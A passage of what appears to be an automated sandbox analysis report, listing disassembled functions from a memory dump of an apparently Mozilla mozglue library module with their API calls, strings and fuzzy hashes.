Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
